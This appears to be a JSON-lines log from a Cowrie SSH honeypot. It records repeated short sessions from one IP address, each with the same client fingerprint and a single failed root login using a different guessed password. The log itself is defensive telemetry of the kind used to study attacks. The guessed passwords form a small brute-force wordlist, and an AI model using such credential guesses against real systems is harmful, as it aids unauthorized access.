{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:04.357999Z","src_ip":"60.165.124.241","session":"85b975f58d94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:04.597720Z","src_ip":"60.165.124.241","session":"85b975f58d94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Vietnam123","message":"login attempt [root/Vietnam123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:05.341807Z","src_ip":"60.165.124.241","session":"85b975f58d94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:06.582830Z","src_ip":"60.165.124.241","session":"85b975f58d94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42932,"dst_ip":"10.17.0.5","dst_port":22,"session":"e84fe05135d9","protocol":"ssh","message":"New connection: 60.165.124.241:42932 (10.17.0.5:22) [session: e84fe05135d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:06.816737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:06.822196Z","src_ip":"60.165.124.241","session":"e84fe05135d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:07.059549Z","src_ip":"60.165.124.241","session":"e84fe05135d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"moller","message":"login attempt [root/moller] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:07.777282Z","src_ip":"60.165.124.241","session":"e84fe05135d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:09.019231Z","src_ip":"60.165.124.241","session":"e84fe05135d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46164,"dst_ip":"10.17.0.5","dst_port":22,"session":"baae7fa99722","protocol":"ssh","message":"New connection: 60.165.124.241:46164 (10.17.0.5:22) [session: baae7fa99722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:09.257685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:09.262412Z","src_ip":"60.165.124.241","session":"baae7fa99722","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:09.505163Z","src_ip":"60.165.124.241","session":"baae7fa99722","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"metin2","message":"login attempt [root/metin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:10.232362Z","src_ip":"60.165.124.241","session":"baae7fa99722","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:11.474180Z","src_ip":"60.165.124.241","session":"baae7fa99722","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49162,"dst_ip":"10.17.0.5","dst_port":22,"session":"86aa9a1dfd61","protocol":"ssh","message":"New connection: 60.165.124.241:49162 (10.17.0.5:22) [session: 86aa9a1dfd61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:11.703967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:11.708933Z","src_ip":"60.165.124.241","session":"86aa9a1dfd61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:11.946892Z","src_ip":"60.165.124.241","session":"86aa9a1dfd61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cheese123","message":"login attempt [root/Cheese123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:12.665745Z","src_ip":"60.165.124.241","session":"86aa9a1dfd61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:13.904329Z","src_ip":"60.165.124.241","session":"86aa9a1dfd61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52460,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1ab16efdb89","protocol":"ssh","message":"New connection: 60.165.124.241:52460 (10.17.0.5:22) [session: b1ab16efdb89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:14.144076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:14.148748Z","src_ip":"60.165.124.241","session":"b1ab16efdb89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:14.394541Z","src_ip":"60.165.124.241","session":"b1ab16efdb89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@qweASD@","message":"login attempt [root/123@qweASD@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:15.120894Z","src_ip":"60.165.124.241","session":"b1ab16efdb89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:16.363161Z","src_ip":"60.165.124.241","session":"b1ab16efdb89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55570,"dst_ip":"10.17.0.5","dst_port":22,"session":"48202ed67452","protocol":"ssh","message":"New connection: 60.165.124.241:55570 (10.17.0.5:22) [session: 48202ed67452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:16.596866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:16.601470Z","src_ip":"60.165.124.241","session":"48202ed67452","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:16.839982Z","src_ip":"60.165.124.241","session":"48202ed67452","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd@_","message":"login attempt [root/Passw0rd@_] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:17.561870Z","src_ip":"60.165.124.241","session":"48202ed67452","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:18.804877Z","src_ip":"60.165.124.241","session":"48202ed67452","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58668,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e9b20027744","protocol":"ssh","message":"New connection: 60.165.124.241:58668 (10.17.0.5:22) [session: 2e9b20027744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:19.036749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:19.042289Z","src_ip":"60.165.124.241","session":"2e9b20027744","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:19.286548Z","src_ip":"60.165.124.241","session":"2e9b20027744","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chicco","message":"login attempt [root/chicco] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:20.008318Z","src_ip":"60.165.124.241","session":"2e9b20027744","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:21.249298Z","src_ip":"60.165.124.241","session":"2e9b20027744","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33582,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a26d8fbd1af","protocol":"ssh","message":"New connection: 60.165.124.241:33582 (10.17.0.5:22) [session: 6a26d8fbd1af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:21.482721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:21.488423Z","src_ip":"60.165.124.241","session":"6a26d8fbd1af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:21.725555Z","src_ip":"60.165.124.241","session":"6a26d8fbd1af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qw23er45ty6","message":"login attempt [root/1qw23er45ty6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:22.472491Z","src_ip":"60.165.124.241","session":"6a26d8fbd1af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:23.717800Z","src_ip":"60.165.124.241","session":"6a26d8fbd1af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36522,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab93dc450b78","protocol":"ssh","message":"New connection: 60.165.124.241:36522 (10.17.0.5:22) [session: ab93dc450b78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:23.974712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:23.979324Z","src_ip":"60.165.124.241","session":"ab93dc450b78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:11:24.230674Z","src_ip":"60.165.124.241","session":"ab93dc450b78","protocol":"ssh"}
